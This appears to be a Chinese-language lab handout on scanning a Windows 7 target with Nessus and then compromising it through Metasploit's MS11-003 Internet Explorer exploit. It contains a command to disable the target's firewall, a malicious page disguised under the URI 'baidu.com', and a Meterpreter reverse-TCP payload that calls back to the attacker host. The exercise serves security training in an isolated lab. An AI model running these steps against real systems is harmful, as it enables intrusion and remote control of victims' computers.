Metasploit攻击win7实例

实验目的

通过该实验熟悉Nessus漏洞扫描工具的安装和主机漏洞扫描的方法，学会利用Nessus扫描结果筛选合适的Metasploit攻击模块进行安全测试、攻击。

Nessus：Nessus是一个功能强大而又易于使用的网络和主机漏洞评估工具默认状态下， Nessus安装成功后会开机自启动，用户使用安装时配置的账号登陆其管理界面，添加扫描任务，根据相关需要对扫描任务的相关属性进行详细的配置。等扫描完成以后，会生成一份详细的报告，报告里会将扫描结果按照危险系数高低分成高危漏洞、中危漏洞、低危漏洞三类，我们一般重点关注高危漏洞，中危漏洞利用条件会比较苛刻，低危漏洞基本没有利用的可能

实验步骤一：初步了解实验环境及Nessus安装

1.查看win7漏洞主机的登录用户及网络配置信息，从下图2可以看出漏洞主机IP为10.1.1.129。使用命令如下：ipconfig 

2.为了更好的演示攻击win7系统实例需要关闭win7系统的防火墙，win+R输入cmd，运行“netsh firewall set opmode mode=disable”命令

3.查看攻击者主机登陆用户及网络配置信息，从下图3可以看出攻击主机登陆用户为root ,IP为10.1.1.128

4.在Nessus官网下载页面选择适合Kali linux的安装程序。经实验证明多个版本的都可以在kali linux上安装成功，这里选择“Debian 6,7,8,9/Kali Linux 1,2017.3 AMD64”版本程序。下载之后，拷贝到Kali linux主机上，运行下列命令进行安装：dpkg -i Nessus-8.9.1-debian6_amd64.deb 安装Debian安装包

5.在官网（http://www.tenable.com/products/nessus-essentials）进行注册获取免费版激活验证码，填写如下表单

6.启动Nessus服务

/etc/init.d/nessusd start

7.在浏览器中输入https://127.0.0.1:8834/，会提示证书不可信，可以按照提示添加对https://127.0.0.1:8834/的信任。设置Nessus的管理账号信息，并输入之前获得的验证码激活Nessus.

8.激活成功后，Nessus会从官网下载相关的检测组件，这个过程耗时长短由主机网络环境决定。下载完成后会提示初始化Nessus环境，等初始化完成，Nessus就可以正常使用了。

实验步骤二：利用Nessus扫描目标主机

1.执行命令 /etc/init.d/nessusd start 启动Nessus服务

2.访问Nessus控制端https://127.0.0.1:8834/。输入安装时设置的账号信息（密码在桌面nessus文件夹内）。

3.新建一个扫描，依次选择“New Scan”-“Basic Network Scan”

4.配置扫描信息，主要设置扫描名称、描述和扫描目标三个信息即可，其他配置选择默认，配置完成点击Save。选择对整个10.1.1.0/24网段进行扫描

5.扫描结束后，Nessus会很直观的显示出目标网段的安全情况。下图显示了整个网段的安全信息。Nessus将安全问题归类为Info/Low/Medium/High/Critical五个等级，其中Critical等级的问题是最危险的，Info级别的问题通常是无关痛痒的信息显示问题。

6.重点关注10.1.1.129主机，即win7靶机，Nessus扫描出该主机存在四个最高危漏洞、2个高危漏洞及其它漏洞问题。

7.选中高危漏洞，Nessus给出了该漏洞的介绍、风险信息、解决方案等详细信息。Risk information对于攻击者来说非常有用，可以根据Risk information去Google搜索是否存在已知的漏洞利用Exp。

实验步骤三：利用MS11_003 IE漏洞攻击win7主机

1.在kali中执行“msfconsole”，启动metasploit

2.运行命令：“use exploit/windows/browser/ms11_003_ie_css_import”选择漏洞利用EXP

3.运行命令：show options，查看配置选项

4.设置生成的恶意网页的URI为baidu.com

运行命令：set URIPATH baidu.com

5.为防止服务器端口冲突，设置服务器端口为8060，避开常用端口8080

运行命令：set SRVPORT 8060

6.设置攻击负载

运行命令：set PAYLOAD windows/meterpreter/reverse_tcp

8.设置LHOST以绑定本地IP

set LHOST 10.1.1.128

 

9.为避免冲突设置LPORT

 

运行命令：set LPORT 8866

 

10.运行命令“exploit”开始进行攻击，生成恶意网页和做好其他准备，只等受害者访问我们构造的恶意网页

11.在 Win7靶机打开IE，访问http://10.1.1.128:8060/baidu.com，模拟受害者误点击网页，靶机IE如下图所示，攻击者Metasploit显示如下图所示信息表明攻击成功。

答题

 

实验截图：